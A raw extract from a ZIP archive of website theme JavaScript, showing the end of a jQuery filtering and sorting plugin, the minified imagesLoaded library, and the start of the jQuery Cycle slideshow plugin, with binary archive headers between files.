			$toshow.css(toShowCSS);
	
			// FOR EACH PRE-EXISTING ELEMENT, SUBTRACT ITS INTERMEDIATE POSITION FROM ITS ORIGINAL POSITION 
			// TO GET ITS STARTING OFFSET
	
			$pre.each(function(){
				var data = this.data,
				$t = $(this);
				
				if ($t.hasClass('mix_tohide')){
					data.preTX = data.origPos.left - data.hideInterPos.left;
					data.preTY = data.origPos.top - data.hideInterPos.top;
				} else {
					data.preTX = data.origPos.left - data.preInterPos.left;
					data.preTY = data.origPos.top - data.preInterPos.top;
				};
				var preCSS = {};
				for(var i = 0; i<2; i++){
					var a = i==0 ? a = config.prefix : '';
					preCSS[a+'transform'] = 'translate('+data.preTX+'px,'+data.preTY+'px)';
				};
				
				$t.css(preCSS);	
			});
			
			// ADD/REMOVE GRID AND LIST CLASSES FROM CONTAINER
	
			if(config.layoutMode == 'list'){
				$cont.addClass(config.listClass);
				$cont.removeClass(config.gridClass);
			} else {
				$cont.addClass(config.gridClass);
				$cont.removeClass(config.listClass);
			};
			
			// WRAP ANIMATION FUNCTIONS IN 10ms TIMEOUT TO PREVENT RACE CONDITION
			
			var delay = setTimeout(function(){
		
				// APPLY TRANSITION TIMING TO CONTAINER, AND BEGIN ANIMATION TO NEW HEIGHT
				
				if(config.resizeContainer){
					var containerCSS = {};
					for(var i = 0; i<2; i++){
						var a = i==0 ? a = config.prefix : '';
						containerCSS[a+'transition'] = 'all '+speed+'ms ease-in-out';
						containerCSS['height'] = config.newHeight+'px';
					};
					$par.css(containerCSS);
				};
	
				// BEGIN FADING IN/OUT OF ALL ELEMENTS TO SHOW/HIDE
				$tohide.css('opacity',config.fade);
				$toshow.css('opacity',1);
	
				// FOR EACH ELEMENT BEING SHOWN, CALCULATE ITS TRAJECTORY BY SUBTRACTING
				// ITS INTERMEDIATE POSITION FROM ITS FINAL POSITION.
				// ALSO ADD SPEED AND EASING
				
				$toshow.each(function(){
					var data = this.data;
					data.tX = data.finalPos.left - data.showInterPos.left;
					data.tY = data.finalPos.top - data.showInterPos.top;
					
					var toShowCSS = {};
					for(var i = 0; i<2; i++){
						var a = i==0 ? a = config.prefix : '';
						toShowCSS[a+'transition-property'] = a+'transform, '+a+'filter, opacity';
						toShowCSS[a+'transition-timing-function'] = config.easing+', linear, linear';
						toShowCSS[a+'transition-duration'] = speed+'ms';
						toShowCSS[a+'transition-delay'] = '0';
						toShowCSS[a+'transform'] = 'translate('+data.tX+'px,'+data.tY+'px)';
						toShowCSS[a+'filter'] = 'none';
					};
					
					$(this).css('-webkit-transition', 'all '+speed+'ms '+config.easingFallback).css(toShowCSS);
				});
				
				// FOR EACH PRE-EXISTING ELEMENT, IF IT HAS A FINAL POSITION, CALCULATE 
				// ITS TRAJETORY BY SUBTRACTING ITS INTERMEDIATE POSITION FROM ITS FINAL POSITION.
				// ALSO ADD SPEED AND EASING
				
				$pre.each(function(){
					var data = this.data
					data.tX = data.finalPrePos.left != 0 ? data.finalPrePos.left - data.preInterPos.left : 0;
					data.tY = data.finalPrePos.left != 0 ? data.finalPrePos.top - data.preInterPos.top : 0;
					
					var preCSS = {};
					for(var i = 0; i<2; i++){
						var a = i==0 ? a = config.prefix : '';
						preCSS[a+'transition'] = 'all '+speed+'ms '+config.easing;
						preCSS[a+'transform'] = 'translate('+data.tX+'px,'+data.tY+'px)';
					};
					
					$(this).css('-webkit-transition', 'all '+speed+'ms '+config.easingFallback).css(preCSS);
				});
		
				// BEGIN TRANSFORMS ON ALL ELEMENTS TO BE HIDDEN
				
				var toHideCSS = {};
				for(var i = 0; i<2; i++){
					var a = i==0 ? a = config.prefix : '';
					toHideCSS[a+'transition'] = 'all '+speed+'ms '+config.easing+', '+a+'filter '+speed+'ms linear, opacity '+speed+'ms linear';
					toHideCSS[a+'transform'] = config.scale+' '+config.rotateX+' '+config.rotateY+' '+config.rotateZ;
					toHideCSS[a+'filter'] = config.blur+' '+config.grayscale;
					toHideCSS['opacity'] = config.fade;
				};
				
				$tohide.css(toHideCSS);
				
				// ALL ANIMATIONS HAVE NOW BEEN STARTED, NOW LISTEN FOR TRANSITION END:
				
				$par.bind('webkitTransitionEnd transitionend otransitionend oTransitionEnd',function(e){
					
					if (e.originalEvent.propertyName.indexOf('transform') > -1 || e.originalEvent.propertyName.indexOf('opacity') > -1){
						
						if(mixSelector.indexOf('.') > -1){
						
						// IF MIXSELECTOR IS A CLASS NAME
						
							if($(e.target).hasClass(mixSelector.replace('.',''))){
								resetFilter();
							};
						
						} else {
							
						// IF MIXSELECTOR IS A TAG
						
							if($(e.target).is(mixSelector)){
								resetFilter();
							};
							
						};
						
					};
				});	
	
			},10);
			
			// LAST RESORT EMERGENCY FAILSAFE
			
			config.failsafe = setTimeout(function(){
				if(config.mixing){
					resetFilter();
				};
			}, speed + 400);
	
		} else {
			
		// ELSE IF NOTHING TO SHOW, AND EVERYTHING TO BE HIDDEN
		
			// IF WE ARE RESIZING CONTAINER, SET ITS STARTING HEIGHT
	
			if(config.resizeContainer)$par.css('height', config.origHeight+'px');
			
			// IF IE, FUCK OFF, AND THEN GO HOME
			
			if(!window.atob){
				resetFilter();
				return false;
			};
			
			// GROUP ALL ELEMENTS TO HIDE INTO JQUERY OBJECT
			
			$tohide = $hide;
			
			// WRAP ANIMATION FUNCTIONS IN A 10ms DELAY TO PREVENT RACE CONDITION
	
			var delay = setTimeout(function(){
				
				// APPLY PERSPECTIVE TO CONTAINER
	
				$par.css(config.perspective);
				
				// APPLY TRANSITION TIMING TO CONTAINER, AND BEGIN ANIMATION TO NEW HEIGHT
		
				if(config.resizeContainer){
					var containerCSS = {};
					for(var i = 0; i<2; i++){
						var a = i==0 ? a = config.prefix : '';
						containerCSS[a+'transition'] = 'height '+speed+'ms ease-in-out';
						containerCSS['height'] = config.minHeight+'px';
					};
					$par.css(containerCSS);
				};
	
				// APPLY TRANSITION TIMING TO ALL TARGET ELEMENTS
				
				$targets.css(config.transition);
				
				// GET TOTAL NUMBER OF ELEMENTS TO HIDE
	
				var totalHide = $hide.length;
				
				// IF SOMETHING TO HIDE:
	
				if(totalHide){
					
					// BEGIN TRANSFORMS ON ALL ELEMENTS TO BE HIDDEN

					var toHideCSS = {};
					for(var i = 0; i<2; i++){
						var a = i==0 ? a = config.prefix : '';
						toHideCSS[a+'transform'] = config.scale+' '+config.rotateX+' '+config.rotateY+' '+config.rotateZ;
						toHideCSS[a+'filter'] = config.blur+' '+config.grayscale;
						toHideCSS['opacity'] = config.fade;
					};

					$tohide.css(toHideCSS);
					
					// ALL ANIMATIONS HAVE NOW BEEN STARTED, NOW LISTEN FOR TRANSITION END:

					$par.bind('webkitTransitionEnd transitionend otransitionend oTransitionEnd',function(e){
						if (e.originalEvent.propertyName.indexOf('transform') > -1 || e.originalEvent.propertyName.indexOf('opacity') > -1){
							$cont.addClass(config.failClass);
							resetFilter();
						};
					});
		
				} else {
					
				// ELSE, WE'RE DONE MIXING
				 	
					config.mixing = false;
				};
	
			}, 10);
		}; 
		
		// CLEAN UP AND RESET FUNCTION

		function resetFilter(){
			
			// UNBIND TRANSITION END EVENTS FROM CONTAINER
			
			$par.unbind('webkitTransitionEnd transitionend otransitionend oTransitionEnd');
			
			// IF A SORT ARGUMENT HAS BEEN SENT, SORT ELEMENTS TO THEIR FINAL ORDER
			
			if(sortby){
				sort(sortby, order, $cont, config);
			};
			
			// EMPTY SORTING ARRAYS
		
			config.startOrder = [], config.newOrder = [], config.origSort = [], config.checkSort = [];
		
			// REMOVE INLINE STYLES FROM ALL TARGET ELEMENTS AND SLAM THE BRAKES ON
			
			$targets.removeStyle(
				config.prefix+'filter, filter, '+config.prefix+'transform, transform, opacity, display'
			).css(config.clean).removeAttr('data-checksum');
			
			// BECAUSE IE SUCKS
			
			if(!window.atob){
				$targets.css({
					display: 'none',
					opacity: '0'
				});
			};
			
			// REMOVE HEIGHT FROM CONTAINER ONLY IF RESIZING
			
			var remH = config.resizeContainer ? 'height' : '';
			
			// REMOVE INLINE STYLES FROM CONTAINER
		
			$par.removeStyle(
				config.prefix+'transition, transition, '+config.prefix+'perspective, perspective, '+config.prefix+'perspective-origin, perspective-origin, '+remH
			);
			
			// ADD FINAL DISPLAY PROPERTIES AND OPACITY TO ALL SHOWN ELEMENTS
			// CACHE CURRENT LAYOUT MODE & SORT FOR NEXT MIX
			
			if(config.layoutMode == 'list'){
				$show.css({display:config.targetDisplayList, opacity:'1'});
				config.origDisplay = config.targetDisplayList;
			} else {
				$show.css({display:config.targetDisplayGrid, opacity:'1'});
				config.origDisplay = config.targetDisplayGrid;
			};
			config.origLayout = config.layoutMode;
				
			var wait = setTimeout(function(){
				
				// LET GO OF THE BRAKES
				
				$targets.removeStyle(config.prefix+'transition, transition');
			
				// WE'RE DONE MIXING
			
				config.mixing = false;
			
				// FIRE "ONMIXEND" CALLBACK
			
				if(typeof config.onMixEnd == 'function') {
					var output = config.onMixEnd.call(this, config);
				
					// UPDATE CONFIG IF DATA RETURNED
				
					config = output ? output : config;
				};
			});
		};
	};
	
	// SORT FUNCTION
	
	function sort(sortby, order, $cont, config){

		// COMPARE BY ATTRIBUTE

		function compare(a,b) {
			var sortAttrA = isNaN(a.attr(sortby) * 1) ? a.attr(sortby).toLowerCase() : a.attr(sortby) * 1,
				sortAttrB = isNaN(b.attr(sortby) * 1) ? b.attr(sortby).toLowerCase() : b.attr(sortby) * 1;
		  	if (sortAttrA < sortAttrB)
		    	return -1;
		  	if (sortAttrA > sortAttrB)
		    	return 1;
		  	return 0;
		};
		
		// REBUILD DOM

		function rebuild(element){
			if(order == 'asc'){
				$sortWrapper.prepend(element).prepend(' ');
			} else {
				$sortWrapper.append(element).append(' ');
			};
		};
		
		// RANDOMIZE ARRAY

		function arrayShuffle(oldArray){
			var newArray = oldArray.slice();
		 	var len = newArray.length;
			var i = len;
			while (i--){
			 	var p = parseInt(Math.random()*len);
				var t = newArray[i];
		  		newArray[i] = newArray[p];
			  	newArray[p] = t;
		 	};
			return newArray; 
		};
		
		// SORT
		
		$cont.find(config.targetSelector).wrapAll('<div class="mix_sorter"/>');
		
		var $sortWrapper = $cont.find('.mix_sorter');
		
		if(!config.origSort.length){
			$sortWrapper.find(config.targetSelector+':visible').each(function(){
				$(this).wrap('<s/>');
				config.origSort.push($(this).parent().html().replace(/\s+/g, ''));
				$(this).unwrap();
			});
		};
		
		
		
		$sortWrapper.empty();
		
		if(sortby == 'reset'){
			$.each(config.startOrder,function(){
				$sortWrapper.append(this).append(' ');
			});
		} else if(sortby == 'default'){
			$.each(config.origOrder,function(){
				rebuild(this);
			});
		} else if(sortby == 'random'){
			if(!config.newOrder.length){
				config.newOrder = arrayShuffle(config.startOrder);
			};
			$.each(config.newOrder,function(){
				$sortWrapper.append(this).append(' ');
			});	
		} else if(sortby == 'custom'){
			$.each(order, function(){
				rebuild(this);
			});
		} else { 
			// SORT BY ATTRIBUTE
			
			if(typeof config.origOrder[0].attr(sortby) === 'undefined'){
				console.log('No such attribute found. Terminating');
				return false;
			};
			
			if(!config.newOrder.length){
				$.each(config.origOrder,function(){
					config.newOrder.push($(this));
				});
				config.newOrder.sort(compare);
			};
			$.each(config.newOrder,function(){
				rebuild(this);
			});
			
		};
		config.checkSort = [];
		$sortWrapper.find(config.targetSelector+':visible').each(function(i){
			var $t = $(this);
			if(i == 0){
				
				// PREVENT COMPARE RETURNING FALSE POSITIVES ON ELEMENTS WITH NO CLASS/ATTRIBUTES
				
				$t.attr('data-checksum','1');
			};
			$t.wrap('<s/>');
			config.checkSort.push($t.parent().html().replace(/\s+/g, ''));
			$t.unwrap();
		});
		
		$cont.find(config.targetSelector).unwrap();
	};
	
	// FIND VENDOR PREFIX

	function prefix(el) {
	    var prefixes = ["Webkit", "Moz", "O", "ms"];
	    for (var i = 0; i < prefixes.length; i++){
	        if (prefixes[i] + "Transition" in el.style){
	            return prefixes[i];
	        };
	    };
	    return "transition" in el.style ? "" : false;
	};
	
	// REMOVE SPECIFIC STYLES
	
	$.fn.removeStyle = function(style){
		return this.each(function(){
			var obj = $(this);
			style = style.replace(/\s+/g, '');
			var styles = style.split(',');
			$.each(styles,function(){
				
				var search = new RegExp(this.toString() + '[^;]+;?', 'g');
				obj.attr('style', function(i, style){
					if(style) return style.replace(search, '');
			    });
			});
		});
    };

	// COMPARE ARRAYS 
	
	function compareArr(a,b){
	    if (a.length != b.length) return false;
	    for (var i = 0; i < b.length; i++){
	        if (a[i].compare) { 
	            if (!a[i].compare(b[i])) return false;
	        };
	        if (a[i] !== b[i]) return false;
	    };
	    return true;
	};
	
	// BUILD FILTER ARRAY(S)
	
	function buildFilterArray(str){
		// CLEAN FILTER STRING
		str = str.replace(/\s{2,}/g, ' ');
		// FOR EACH PEROID SEPERATED CLASS NAME, ADD STRING TO FILTER ARRAY
		var arr = str.split(' ');
		// IF ALL, REPLACE WITH MIX_ALL
		$.each(arr,function(i){
			if(this == 'all')arr[i] = 'mix_all';
		});
		if(arr[0] == "")arr.shift(); 
		return arr;
	};

	
})(jQuery);PK!n�,R��,bluetheme/assets/js/imagesloaded.pkgd.min.jsnu&1i�/*!
 * imagesLoaded PACKAGED v3.1.4
 * JavaScript is all like "You images are done yet or what?"
 * MIT License
 */

(function(){function e(){}function t(e,t){for(var n=e.length;n--;)if(e[n].listener===t)return n;return-1}function n(e){return function(){return this[e].apply(this,arguments)}}var i=e.prototype,r=this,o=r.EventEmitter;i.getListeners=function(e){var t,n,i=this._getEvents();if("object"==typeof e){t={};for(n in i)i.hasOwnProperty(n)&&e.test(n)&&(t[n]=i[n])}else t=i[e]||(i[e]=[]);return t},i.flattenListeners=function(e){var t,n=[];for(t=0;e.length>t;t+=1)n.push(e[t].listener);return n},i.getListenersAsObject=function(e){var t,n=this.getListeners(e);return n instanceof Array&&(t={},t[e]=n),t||n},i.addListener=function(e,n){var i,r=this.getListenersAsObject(e),o="object"==typeof n;for(i in r)r.hasOwnProperty(i)&&-1===t(r[i],n)&&r[i].push(o?n:{listener:n,once:!1});return this},i.on=n("addListener"),i.addOnceListener=function(e,t){return this.addListener(e,{listener:t,once:!0})},i.once=n("addOnceListener"),i.defineEvent=function(e){return this.getListeners(e),this},i.defineEvents=function(e){for(var t=0;e.length>t;t+=1)this.defineEvent(e[t]);return this},i.removeListener=function(e,n){var i,r,o=this.getListenersAsObject(e);for(r in o)o.hasOwnProperty(r)&&(i=t(o[r],n),-1!==i&&o[r].splice(i,1));return this},i.off=n("removeListener"),i.addListeners=function(e,t){return this.manipulateListeners(!1,e,t)},i.removeListeners=function(e,t){return this.manipulateListeners(!0,e,t)},i.manipulateListeners=function(e,t,n){var i,r,o=e?this.removeListener:this.addListener,s=e?this.removeListeners:this.addListeners;if("object"!=typeof t||t instanceof RegExp)for(i=n.length;i--;)o.call(this,t,n[i]);else for(i in t)t.hasOwnProperty(i)&&(r=t[i])&&("function"==typeof r?o.call(this,i,r):s.call(this,i,r));return this},i.removeEvent=function(e){var t,n=typeof e,i=this._getEvents();if("string"===n)delete i[e];else if("object"===n)for(t in i)i.hasOwnProperty(t)&&e.test(t)&&delete i[t];else delete this._events;return this},i.removeAllListeners=n("removeEvent"),i.emitEvent=function(e,t){var n,i,r,o,s=this.getListenersAsObject(e);for(r in s)if(s.hasOwnProperty(r))for(i=s[r].length;i--;)n=s[r][i],n.once===!0&&this.removeListener(e,n.listener),o=n.listener.apply(this,t||[]),o===this._getOnceReturnValue()&&this.removeListener(e,n.listener);return this},i.trigger=n("emitEvent"),i.emit=function(e){var t=Array.prototype.slice.call(arguments,1);return this.emitEvent(e,t)},i.setOnceReturnValue=function(e){return this._onceReturnValue=e,this},i._getOnceReturnValue=function(){return this.hasOwnProperty("_onceReturnValue")?this._onceReturnValue:!0},i._getEvents=function(){return this._events||(this._events={})},e.noConflict=function(){return r.EventEmitter=o,e},"function"==typeof define&&define.amd?define("eventEmitter/EventEmitter",[],function(){return e}):"object"==typeof module&&module.exports?module.exports=e:this.EventEmitter=e}).call(this),function(e){function t(t){var n=e.event;return n.target=n.target||n.srcElement||t,n}var n=document.documentElement,i=function(){};n.addEventListener?i=function(e,t,n){e.addEventListener(t,n,!1)}:n.attachEvent&&(i=function(e,n,i){e[n+i]=i.handleEvent?function(){var n=t(e);i.handleEvent.call(i,n)}:function(){var n=t(e);i.call(e,n)},e.attachEvent("on"+n,e[n+i])});var r=function(){};n.removeEventListener?r=function(e,t,n){e.removeEventListener(t,n,!1)}:n.detachEvent&&(r=function(e,t,n){e.detachEvent("on"+t,e[t+n]);try{delete e[t+n]}catch(i){e[t+n]=void 0}});var o={bind:i,unbind:r};"function"==typeof define&&define.amd?define("eventie/eventie",o):e.eventie=o}(this),function(e,t){"function"==typeof define&&define.amd?define(["eventEmitter/EventEmitter","eventie/eventie"],function(n,i){return t(e,n,i)}):"object"==typeof exports?module.exports=t(e,require("eventEmitter"),require("eventie")):e.imagesLoaded=t(e,e.EventEmitter,e.eventie)}(this,function(e,t,n){function i(e,t){for(var n in t)e[n]=t[n];return e}function r(e){return"[object Array]"===d.call(e)}function o(e){var t=[];if(r(e))t=e;else if("number"==typeof e.length)for(var n=0,i=e.length;i>n;n++)t.push(e[n]);else t.push(e);return t}function s(e,t,n){if(!(this instanceof s))return new s(e,t);"string"==typeof e&&(e=document.querySelectorAll(e)),this.elements=o(e),this.options=i({},this.options),"function"==typeof t?n=t:i(this.options,t),n&&this.on("always",n),this.getImages(),a&&(this.jqDeferred=new a.Deferred);var r=this;setTimeout(function(){r.check()})}function c(e){this.img=e}function f(e){this.src=e,v[e]=this}var a=e.jQuery,u=e.console,h=u!==void 0,d=Object.prototype.toString;s.prototype=new t,s.prototype.options={},s.prototype.getImages=function(){this.images=[];for(var e=0,t=this.elements.length;t>e;e++){var n=this.elements[e];"IMG"===n.nodeName&&this.addImage(n);for(var i=n.querySelectorAll("img"),r=0,o=i.length;o>r;r++){var s=i[r];this.addImage(s)}}},s.prototype.addImage=function(e){var t=new c(e);this.images.push(t)},s.prototype.check=function(){function e(e,r){return t.options.debug&&h&&u.log("confirm",e,r),t.progress(e),n++,n===i&&t.complete(),!0}var t=this,n=0,i=this.images.length;if(this.hasAnyBroken=!1,!i)return this.complete(),void 0;for(var r=0;i>r;r++){var o=this.images[r];o.on("confirm",e),o.check()}},s.prototype.progress=function(e){this.hasAnyBroken=this.hasAnyBroken||!e.isLoaded;var t=this;setTimeout(function(){t.emit("progress",t,e),t.jqDeferred&&t.jqDeferred.notify&&t.jqDeferred.notify(t,e)})},s.prototype.complete=function(){var e=this.hasAnyBroken?"fail":"done";this.isComplete=!0;var t=this;setTimeout(function(){if(t.emit(e,t),t.emit("always",t),t.jqDeferred){var n=t.hasAnyBroken?"reject":"resolve";t.jqDeferred[n](t)}})},a&&(a.fn.imagesLoaded=function(e,t){var n=new s(this,e,t);return n.jqDeferred.promise(a(this))}),c.prototype=new t,c.prototype.check=function(){var e=v[this.img.src]||new f(this.img.src);if(e.isConfirmed)return this.confirm(e.isLoaded,"cached was confirmed"),void 0;if(this.img.complete&&void 0!==this.img.naturalWidth)return this.confirm(0!==this.img.naturalWidth,"naturalWidth"),void 0;var t=this;e.on("confirm",function(e,n){return t.confirm(e.isLoaded,n),!0}),e.check()},c.prototype.confirm=function(e,t){this.isLoaded=e,this.emit("confirm",this,t)};var v={};return f.prototype=new t,f.prototype.check=function(){if(!this.isChecked){var e=new Image;n.bind(e,"load",this),n.bind(e,"error",this),e.src=this.src,this.isChecked=!0}},f.prototype.handleEvent=function(e){var t="on"+e.type;this[t]&&this[t](e)},f.prototype.onload=function(e){this.confirm(!0,"onload"),this.unbindProxyEvents(e)},f.prototype.onerror=function(e){this.confirm(!1,"onerror"),this.unbindProxyEvents(e)},f.prototype.confirm=function(e,t){this.isConfirmed=!0,this.isLoaded=e,this.emit("confirm",this,t)},f.prototype.unbindProxyEvents=function(e){n.unbind(e.target,"load",this),n.unbind(e.target,"error",this)},s});PK!.^�;�;�#bluetheme/assets/js/jquery.cycle.jsnu&1i�/*!
 * jQuery Cycle Plugin (with Transition Definitions)
 * Examples and documentation at: http://jquery.malsup.com/cycle/
 * Copyright (c) 2007-2013 M. Alsup
 * Version: 3.0.3 (11-JUL-2013)
 * Dual licensed under the MIT and GPL licenses.
 * http://jquery.malsup.com/license.html
 * Requires: jQuery v1.7.1 or later
 */
;(function($, undefined) {
"use strict";

var ver = '3.0.3';

function debug(s) {
	if ($.fn.cycle.debug)
		log(s);
}		
function log() {
	/*global console */
	if (window.console && console.log)
		console.log('[cycle] ' + Array.prototype.join.call(arguments,' '));
}
$.expr[':'].paused = function(el) {
	return el.cyclePause;
};


// the options arg can be...
//   a number  - indicates an immediate transition should occur to the given slide index
//   a string  - 'pause', 'resume', 'toggle', 'next', 'prev', 'stop', 'destroy' or the name of a transition effect (ie, 'fade', 'zoom', etc)
//   an object - properties to control the slideshow
//
// the arg2 arg can be...
//   the name of an fx (only used in conjunction with a numeric value for 'options')
//   the value true (only used in first arg == 'resume') and indicates
//	 that the resume should occur immediately (not wait for next timeout)

$.fn.cycle = function(options, arg2) {
	var o = { s: this.selector, c: this.context };

	// in 1.3+ we can fix mistakes with the ready state
	if (this.length === 0 && options != 'stop') {
		if (!$.isReady && o.s) {
			log('DOM not ready, queuing slideshow');
			$(function() {
				$(o.s,o.c).cycle(options,arg2);
			});
			return this;
		}
		// is your DOM ready?  http://docs.jquery.com/Tutorials:Introducing_$(document).ready()
		log('terminating; zero elements found by selector' + ($.isReady ? '' : ' (DOM not ready)'));
		return this;
	}

	// iterate the matched nodeset
	return this.each(function() {
		var opts = handleArguments(this, options, arg2);
		if (opts === false)
			return;

		opts.updateActivePagerLink = opts.updateActivePagerLink || $.fn.cycle.updateActivePagerLink;
		
		// stop existing slideshow for this container (if there is one)
		if (this.cycleTimeout)
			clearTimeout(this.cycleTimeout);
		this.cycleTimeout = this.cyclePause = 0;
		this.cycleStop = 0; // issue #108

		var $cont = $(this);
		var $slides = opts.slideExpr ? $(opts.slideExpr, this) : $cont.children();
		var els = $slides.get();

		if (els.length < 2) {
			log('terminating; too few slides: ' + els.length);
			return;
		}

		var opts2 = buildOptions($cont, $slides, els, opts, o);
		if (opts2 === false)
			return;

		var startTime = opts2.continuous ? 10 : getTimeout(els[opts2.currSlide], els[opts2.nextSlide], opts2, !opts2.backwards);

		// if it's an auto slideshow, kick it off
		if (startTime) {
			startTime += (opts2.delay || 0);
			if (startTime < 10)
				startTime = 10;
			debug('first timeout: ' + startTime);
			this.cycleTimeout = setTimeout(function(){go(els,opts2,0,!opts.backwards);}, startTime);
		}
	});
};

function triggerPause(cont, byHover, onPager) {
	var opts = $(cont).data('cycle.opts');
	if (!opts)
		return;
	var paused = !!cont.cyclePause;
	if (paused && opts.paused)
		opts.paused(cont, opts, byHover, onPager);
	else if (!paused && opts.resumed)
		opts.resumed(cont, opts, byHover, onPager);
}

// process the args that were passed to the plugin fn
function handleArguments(cont, options, arg2) {
	if (cont.cycleStop === undefined)
		cont.cycleStop = 0;
	if (options === undefined || options === null)
		options = {};
	if (options.constructor == String) {
		switch(options) {
		case 'destroy':
		case 'stop':
			var opts = $(cont).data('cycle.opts');
			if (!opts)
				return false;
			cont.cycleStop++; // callbacks look for change
			if (cont.cycleTimeout)
				clearTimeout(cont.cycleTimeout);
			cont.cycleTimeout = 0;
			if (opts.elements)
				$(opts.elements).stop();
			$(cont).removeData('cycle.opts');
			if (options == 'destroy')
				destroy(cont, opts);
			return false;
		case 'toggle':
			cont.cyclePause = (cont.cyclePause === 1) ? 0 : 1;
			checkInstantResume(cont.cyclePause, arg2, cont);
			triggerPause(cont);
			return false;
		case 'pause':
			cont.cyclePause = 1;
			triggerPause(cont);
			return false;
		case 'resume':
			cont.cyclePause = 0;
			checkInstantResume(false, arg2, cont);
			triggerPause(cont);
			return false;
		case 'prev':
		case 'next':
			opts = $(cont).data('cycle.opts');
			if (!opts) {
				log('options not found, "prev/next" ignored');
				return false;
			}
			if (typeof arg2 == 'string') 
				opts.oneTimeFx = arg2;
			$.fn.cycle[options](opts);
			return false;
		default:
			options = { fx: options };
		}
		return options;
	}
	else if (options.constructor == Number) {
		// go to the requested slide
		var num = options;
		options = $(cont).data('cycle.opts');
		if (!options) {
			log('options not found, can not advance slide');
			return false;
		}
		if (num < 0 || num >= options.elements.length) {
			log('invalid slide index: ' + num);
			return false;
		}
		options.nextSlide = num;
		if (cont.cycleTimeout) {
			clearTimeout(cont.cycleTimeout);
			cont.cycleTimeout = 0;
		}
		if (typeof arg2 == 'string')
			options.oneTimeFx = arg2;
		go(options.elements, options, 1, num >= options.currSlide);
		return false;
	}
	return options;
	
	function checkInstantResume(isPaused, arg2, cont) {
		if (!isPaused && arg2 === true) { // resume now!
			var options = $(cont).data('cycle.opts');
			if (!options) {
				log('options not found, can not resume');
				return false;
			}
			if (cont.cycleTimeout) {
				clearTimeout(cont.cycleTimeout);
				cont.cycleTimeout = 0;
			}
			go(options.elements, options, 1, !options.backwards);
		}
	}
}

function removeFilter(el, opts) {
	if (!$.support.opacity && opts.cleartype && el.style.filter) {
		try { el.style.removeAttribute('filter'); }
		catch(smother) {} // handle old opera versions
	}
}

// unbind event handlers
function destroy(cont, opts) {
	if (opts.next)
		$(opts.next).unbind(opts.prevNextEvent);
	if (opts.prev)
		$(opts.prev).unbind(opts.prevNextEvent);
	
	if (opts.pager || opts.pagerAnchorBuilder)
		$.each(opts.pagerAnchors || [], function() {
			this.unbind().remove();
		});
	opts.pagerAnchors = null;
	$(cont).unbind('mouseenter.cycle mouseleave.cycle');
	if (opts.destroy) // callback
		opts.destroy(opts);
}

// one-time initialization
function buildOptions($cont, $slides, els, options, o) {
	var startingSlideSpecified;
	// support metadata plugin (v1.0 and v2.0)
	var opts = $.extend({}, $.fn.cycle.defaults, options || {}, $.metadata ? $cont.metadata() : $.meta ? $cont.data() : {});
	var meta = $.isFunction($cont.data) ? $cont.data(opts.metaAttr) : null;
	if (meta)
		opts = $.extend(opts, meta);
	if (opts.autostop)
		opts.countdown = opts.autostopCount || els.length;

	var cont = $cont[0];
	$cont.data('cycle.opts', opts);
	opts.$cont = $cont;
	opts.stopCount = cont.cycleStop;
	opts.elements = els;
	opts.before = opts.before ? [opts.before] : [];
	opts.after = opts.after ? [opts.after] : [];

	// push some after callbacks
	if (!$.support.opacity && opts.cleartype)
		opts.after.push(function() { removeFilter(this, opts); });
	if (opts.continuous)
		opts.after.push(function() { go(els,opts,0,!opts.backwards); });

	saveOriginalOpts(opts);

	// clearType corrections
	if (!$.support.opacity && opts.cleartype && !opts.cleartypeNoBg)
		clearTypeFix($slides);

	// container requires non-static position so that slides can be position within
	if ($cont.css('position') == 'static')
		$cont.css('position', 'relative');
	if (opts.width)
		$cont.width(opts.width);
	if (opts.height && opts.height != 'auto')
		$cont.height(opts.height);

	if (opts.startingSlide !== undefined) {
		opts.startingSlide = parseInt(opts.startingSlide,10);
		if (opts.startingSlide >= els.length || opts.startSlide < 0)
			opts.startingSlide = 0; // catch bogus input
		else 
			startingSlideSpecified = true;
	}
	else if (opts.backwards)
		opts.startingSlide = els.length - 1;
	else
		opts.startingSlide = 0;

	// if random, mix up the slide array
	if (opts.random) {
		opts.randomMap = [];
		for (var i = 0; i < els.length; i++)
			opts.randomMap.push(i);
		opts.randomMap.sort(function(a,b) {return Math.random() - 0.5;});
		if (startingSlideSpecified) {
			// try to find the specified starting slide and if found set start slide index in the map accordingly
			for ( var cnt = 0; cnt < els.length; cnt++ ) {
				if ( opts.startingSlide == opts.randomMap[cnt] ) {
					opts.randomIndex = cnt;
				}
			}
		}
		else {
			opts.randomIndex = 1;
			opts.startingSlide = opts.randomMap[1];
		}
	}
	else if (opts.startingSlide >= els.length)
		opts.startingSlide = 0; // catch bogus input
	opts.currSlide = opts.startingSlide || 0;
	var first = opts.startingSlide;

	// set position and zIndex on all the slides
	$slides.css({position: 'absolute', top:0, left:0}).hide().each(function(i) {
		var z;
		if (opts.backwards)
			z = first ? i <= first ? els.length + (i-first) : first-i : els.length-i;
		else
			z = first ? i >= first ? els.length - (i-first) : first-i : els.length-i;
		$(this).css('z-index', z);
	});

	// make sure first slide is visible
	$(els[first]).css('opacity',1).show(); // opacity bit needed to handle restart use case
	removeFilter(els[first], opts);

	// stretch slides
	if (opts.fit) {
		if (!opts.aspect) {
	        if (opts.width)
	            $slides.width(opts.width);
	        if (opts.height && opts.height != 'auto')
	            $slides.height(opts.height);
		} else {
			$slides.each(function(){
				var $slide = $(this);
				var ratio = (opts.aspect === true) ? $slide.width()/$slide.height() : opts.aspect;
				if( opts.width && $slide.width() != opts.width ) {
					$slide.width( opts.width );
					$slide.height( opts.width / ratio );
				}

				if( opts.height && $slide.height() < opts.height ) {
					$slide.height( opts.height );
					$slide.width( opts.height * ratio );
				}
			});
		}
	}

	if (opts.center && ((!opts.fit) || opts.aspect)) {
		$slides.each(function(){
			var $slide = $(this);
			$slide.css({
				"margin-left": opts.width ?
					((opts.width - $slide.width()) / 2) + "px" :
					0,
				"margin-top": opts.height ?
					((opts.height - $slide.height()) / 2) + "px" :
					0
			});
		});
	}

	if (opts.center && !opts.fit && !opts.slideResize) {
		$slides.each(function(){
			var $slide = $(this);
			$slide.css({
				"margin-left": opts.width ? ((opts.width - $slide.width()) / 2) + "px" : 0,
				"margin-top": opts.height ? ((opts.height - $slide.height()) / 2) + "px" : 0
			});
		});
	}
		
	// stretch container
	var reshape = (opts.containerResize || opts.containerResizeHeight) && $cont.innerHeight() < 1;
	if (reshape) { // do this only if container has no size http://tinyurl.com/da2oa9
		var maxw = 0, maxh = 0;
		for(var j=0; j < els.length; j++) {
			var $e = $(els[j]), e = $e[0], w = $e.outerWidth(), h = $e.outerHeight();
